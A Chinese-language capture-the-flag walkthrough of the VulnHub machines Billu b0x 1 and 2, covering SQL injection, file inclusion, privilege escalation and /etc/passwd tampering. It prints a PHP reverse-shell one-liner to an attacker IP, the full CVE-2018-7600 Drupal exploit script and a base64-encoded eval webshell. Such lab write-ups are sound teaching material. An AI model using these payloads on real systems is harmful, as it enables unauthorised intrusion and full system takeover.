【vlunhub】BILLU:B0X1+2

个人测评:

趣味:2星+1星(one piece)

难度:3星

技巧:3星

两个靶机,分别玩一下,感觉年份都有点老了

image

billu b0x1

信息搜集

17年发布的靶机,先信息搜集一波

image

image

进行简单的目录扫描

image

其中我们能看到一个phpmyadmin的后台,一个phpinfo页面

sql注入到getshell

image

成功登陆进去,后面用\将单引号转义后成为注释

image

随后是一个上传的页面

image

这里的上传点对后缀进行了白名单校验

所以上传shell比较局限

image

发现这里load参数后面跟的好像是add.php

果然有个文件包含

image

也是能成功包含到上传上去的jpg来rce

image

如何反弹shell

经过一些尝试,用proc_open拿到了相对持久的终端

1
$sock=fsockopen("192.168.56.102",4445);$proc=proc_open("/bin/bash", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);

image

phpmyadmin

其实刚刚我们可以看到有个叫做ica的用户

image

网站目录里面找数据库密码

image

当然可以看到他都没有设置端口,这个phpmyadmin貌似看起来不能用

当前目录下面也有一个c.php,里面也有个密码

image

billu b0x_billu

没想到用这个密码就能登陆进去

image

上面的root roottoor也能直接用ssh连上

image

即便不使用刚刚的包含漏洞,这里我们也能获取到这两个密码,网站目录下有个test.php也能任意文件读取

image

内核提权

最简单粗暴的方法

image

直接放到目标机器上编译运行即可

image

image

billu b0x2

信息搜集

image

这个靶机明显比一代复杂得多,分别再看每个端口都开了什么服务

image

80端口的服务,使用的是Drupal8搭建的

image

在扫描路径的过程中,我获得了这个drupal的详细版本号8.3.5

image

在kali自带的exploitdb中,也发现了很多能在这个版本上用的exp,随便挑了一个,测试成功

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/env
import sys
import requests

print ('################################################################')
print ('# Proof-Of-Concept for CVE-2018-7600')
print ('# by Vitalii Rudnykh')
print ('# Thanks by AlbinoDrought, RicterZ, FindYanot, CostelSalanders')
print ('# https://github.com/a2u/CVE-2018-7600')
print ('################################################################')
print ('Provided only for educational or information purposes\n')

target = input('Enter target url (example: https://domain.ltd/): ')

# Add proxy support (eg. BURP to analyze HTTP(s) traffic)
# set verify = False if your proxy certificate is self signed
# remember to set proxies both for http and https
#
# example:
# proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
# verify = False
proxies = {}
verify = True

url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec', 'mail[#type]': 'markup', 'mail[#markup]': 'echo ";-)" | tee hello.txt'}

r = requests.post(url, proxies=proxies, data=payload, verify=verify)
check = requests.get(target + 'hello.txt')
if check.status_code != 200:
sys.exit("Not exploitable")
print ('\nCheck: '+target+'hello.txt')

写入webshell先,直接echo会转义

1
echo `echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ | base64 --decode` | tee fuck.php

蚁剑连接,反弹shell,升级shell

1
python -c "import pty; pty.spawn('/bin/bash')"

image

算是先拿到一个基础的权限

suid提权

/opt/s

简单查看一下可阅读的部分

image

它会调用scp这个命令

更改环境变量,让他找scp命令时先找到tmp目录下面我们建立的恶意的scp

image

把tmp加到$PATH最前面

image

即可提权成功

image

替换/etc/passwd

之后,我找了老外对这个第二个靶机的文章学习,因为我觉得应该还有别的出路

之前我也注意到/etc/passwd里面奇怪的哈希,但没注意到他的权限

image

也能注意到indishell这个用户,他甚至给出了加密后的密码

image

用openssl生成密码

用infosec做为salt并也是密码,得到生成的密码,替换掉/etc/passwd里面的密码

image

image

我们就能替换掉indishell的密码,并且获取root权限

image